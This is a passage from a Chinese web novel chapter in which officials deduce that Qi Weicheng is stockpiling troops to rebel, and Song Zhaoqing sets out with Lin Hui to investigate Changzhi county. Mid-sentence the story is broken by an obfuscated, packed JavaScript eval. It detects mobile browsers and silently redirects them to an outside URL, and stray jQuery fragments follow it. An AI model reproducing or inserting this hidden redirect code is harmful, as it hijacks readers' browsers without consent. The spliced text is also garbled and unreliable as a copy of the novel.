接下来直到方黎扬讲完都没有人再打断。


    讲完后，他看向在座的两人，主动打破了寂静：“这件事，你们怎么看？”


    闻言，宋昭清看向曾青崖，察觉到对方落在自己身上的视线后，思考片刻说道：“就目前黎扬透出的消息来看，有两个很大的疑点。第一同样也是最奇怪的，那些杀手口中所说的‘真相’究竟是什么，是黎扬他们的什么举动促使他们认为你们知道了所谓的‘真相’。


    “其二，黎扬所注意到的小二，以及那些不同寻常的百姓究竟是怎么一回事，他们是谁的人，会和我们要查的事有关吗？”


    宋昭清慢条斯理地说出自己的推测，试图在纷繁复杂地线索中梳理出头绪，她忽然想到什么，看向曾青崖问道：“去后山的那波人呢？回来了吗？”


    她心里隐隐有个猜测，只是还要再得到一些确定才行。


    只是话刚出口她便意识到不对，果不其然看到曾青崖摇了摇头，说道：“到现在为止，没有任何消息传来。”


    曾青崖皱着眉头，冷声道：“这次派出去的都是普通的护卫，若是明日还没有消息传来，恐怕凶多吉少。”


    此话一出，本就安静的房间氛围更是一下落到冰点。


    “怕只怕，打草惊蛇。”方黎扬无意识地一句低喃，让他们心都不由自主揪起一瞬。


    宋昭清收敛心神，抬眸与曾青崖直视，问道：“大人有什么想法？”


    “不知道你们还记不记得，在查卢豪时有个很重要的线索。为什么选在长治县？”曾青崖指节弯曲敲击着桌面，“因为长治县盛产铁矿，我们最初只是怀疑他们在长治私自采铁贩卖，如今看来他们所求似乎远不止于此。”


    宋昭清接过曾青崖的话头，继续说道：“若只是私采铁矿，他们只需要将人手布在矿山，消息不外泄便行。可黎扬他们根本没去后山，也被冠以发现‘真相’为民追杀，这说明他们最大的秘密在城内。一座封闭的城池，一座为他们所用的铁矿……”


    宋昭清话未说尽，再度对上曾青崖的眼神时便知对方已然了解自己话中意，默契地点了点头将那些大逆不道的话藏在了心中。


    “你们的意思是——戚伟诚在屯兵？他要造反！”方黎扬亦不是傻子，他很快猜出宋昭清未说出口的是什么，眼中满是惊愕。


    曾青崖摇了摇头，抬手示意方黎扬冷静。


    方黎扬缓过神来，压低声音道：“我们现在怎么办？禀报圣上还是将消息传给太子？”


    “不妥。”宋昭清反驳道，“我们没有证据。”


    她与方黎扬同时看向曾青崖，询问他的意见。


    曾青崖垂眸思索，看不清他的神色，半晌后才道：“没有证据，那我们便去找。”


    “他们不认识黎扬，纵使认为事情泄露加强戒备恐怕也只认为是个运气好的普通人。此局，敌在明我们在暗，若真的能找到实证我们便能抢占先机，争取更多的筹码。”


    听到这话方黎扬率先不同意，他刚从鬼门关逃生，最清楚其中危险。


    “不行。不说我们已经打草惊蛇，就说我们应该派谁去？怎么去，去了以后做什么，要拿到什么才算实证，才能让所有人相信我们的说法。”


    方黎扬此言不虚，没有目标贸然前行只会是白费功夫。思索片刻后，宋昭清说：“说到底，戚伟诚有没有屯兵、谋反的心思，最该担心的不是我们。既然如此，我们也没必要非找到什么证据检举他，只要能确认他们确实有这个心思，我们便能加以利用，使之成为大人手中最大的牌。”


    宋昭清环顾了他们一眼，上前一步拱手道：“大人，我愿意前去一探究竟。”


    曾青崖还未曾有什么反应，倒是方黎扬先不同意了。


    他不赞同地上下扫视了一眼宋昭清，说道：“说什么笑呢，你一个文弱书生，肩不能提手不能扛的，到时候被人发现了跑都跑不掉。大人，我不赞成。”


    宋昭清知道方黎扬是好意，因此并不着急，而是补充道：“此此事时事关皇家秘辛，牵扯到的不只有戚家，还有五皇子，自然是越少人知道越好。”她指了指如今屋内连同自己在内的三人，继续说道：“此事时如今只有我们三人知道，黎扬暂且不提，大人是一定要在接下来的行程中坐镇的，那边只剩下下官了。下官刚过假，任、林两位大人还不知道我回来的消息，即使我再消失几日，只要说辞得当，想必他们也不会生疑。”


    方黎扬还想说些什么，但被曾青崖开口打断了：“你要如何确保你的安全？”


    “我们的目的只是亲眼见到他们意图谋反的证据，只要小心未必会被察觉。况且，”宋昭清深吸一口气补充道：“下官从小在这附近长大，与这边的风土人情相熟，想必不会那么轻易被发现。”


    “我让林晖陪你去。”


    “林大人？”宋昭清有些惊讶，她想过曾青崖不会同意让她一个人去，只是没想到竟然会将林晖派给她。


    “嗯。”曾青崖点了点头，说道：“林晖身手不错，由他来保护你，我放心。”


    “那这件事要和他说吗？可要现在将他喊过来。”


    “不必。”曾青崖摆手对宋昭清与方黎扬说道：“你们俩辛苦了一夜，先下去休息吧。林晖那里我来说，今夜亥时城外寺庙见。”


    听曾青崖如此说，宋昭清便不再追问。她一天一夜没合眼，此时也有些撑不住了，告退之后便回屋里睡了一天。


    回去的路上还碰见了被曾青崖喊过去的林晖，两人匆匆对视点头便各自往相反的方向去了。


    也不知曾青崖怎么同林晖解释的，总之等傍晚一行人出现在城外时，林晖已收拾完备准备同宋昭清一起出发了。


    宋昭清瞧着林晖的神色，暗中思忖他到底知不知道事情的内情，还未想明白便听见林晖上前同她打招呼。


    “宋大人，曾大人已将事情原委都同我说过了，此次行动由你指挥，我和他们负责保护你。”林晖指了指身后跟着的几个护卫，他们发现宋昭清投向这里的视线，纷纷抱拳行礼。


    宋昭清面上不动声色地点了点头，心中却将林晖与曾青崖间的关系重新评估了一番。看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443155|185056||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来曾青崖会选择带林晖出门并非随心之举，而是林晖他不仅是大理寺的下属，更是他的人。


    此次行动不宜声张，宋昭清简单说了几句注意隐蔽行踪之类的话后，便率先骑马往前走了。


    夜间视力差，加上太原府离长治县路途遥远，他们一行人一路急行也要一整夜才能到。宋昭清便在经过一座荒庙时让大家停下休整，顺便与他们说了自己的计划。


    她先是同那几位护卫说：“你们几个明天白天分两批进城，一批扮成想卖力气的矿工尽可能接近后山、一批装作偶然路过此地想要借宿一晚在城内多看看。切记，不可说自己是本地人，乡下的农户也不行。牢记自己的身份千万不能暴露，一旦有人怀疑，立刻离开。”


    “是。”


    宋昭清刚吩咐完回头便瞧见林晖一脸不赞同地看向她，只是碍于命令并没有开口反驳。


    果不其然，宋昭清一靠近林晖便听见他说：“宋大人，此举不妥。他们是来保护你的，你怎么能将他们都分走。”


    宋昭清无奈地笑了笑，指了指旁边待命的四个人，说道：“寺正，要是我们六个人一起进城，不等我们查些什么敌人第一个就注意到我们了。”


    林晖依旧一脸不赞同：“即便如此，也不该让他们都离开。没有人跟着你，我不放心。”


    “我边这不是有寺正你吗？”宋昭清拍了拍林晖的肩，笑道：“我相信寺正。而且，我们的任务可不止在城中随便看看这么简单，我的目标是县衙。”


    宋昭清已经说到这个份上，林晖自然不好再反驳，既然曾大人让他听宋昭清的吩咐、保护她，那他只要尽好自己的职责就行了。


    听到宋昭清的话，他询问道：“县衙？我们要怎么去，偷偷潜入吗？”


    “当然不是。”宋昭清无奈失笑，指指自己的腿，“寺丞大人，我只是个普通书生。”


    她眯了眯眼，坚定说道：“既然要去，我们就要光明正大地走进去。”


    “哦？”


    这下不止林晖好奇，连一旁的护卫都投了眼神过来，想要听清宋昭清说的什么。


    “长治县能安稳这么久不被中央发现，就说明他们一定不是闭塞的，哪怕有人为他们掩护，他们也要适当的对外进行交流才行。我们只要……”


    林晖紧皱着眉头听完宋昭清的计划，不自信道：“这能行吗？”


    宋昭清心中也有些忐忑，但面对林晖的疑问，她还是自信地说：“不试试怎么知道。”


    “明天就要拜托寺丞了。若生变，我们立刻离开。”


    “好。”林晖同宋昭清点了点头，算是同意了这个计划。


    将一切安排好后，宋昭清寻了一处地方靠墙休息，这个地方刚好能透过屋檐看到天空。


    睡了一整天，此时她仍精神奕奕，因此只是靠着墙发呆。庙外冷风阵阵，夜空中零星闪烁着几颗星星。


    宋昭清一颗一颗地数着，心也不由自主地随着节奏跳动起来。


    事到如今，越陷越深，她已经不确定自己做这些究竟是对还是错了。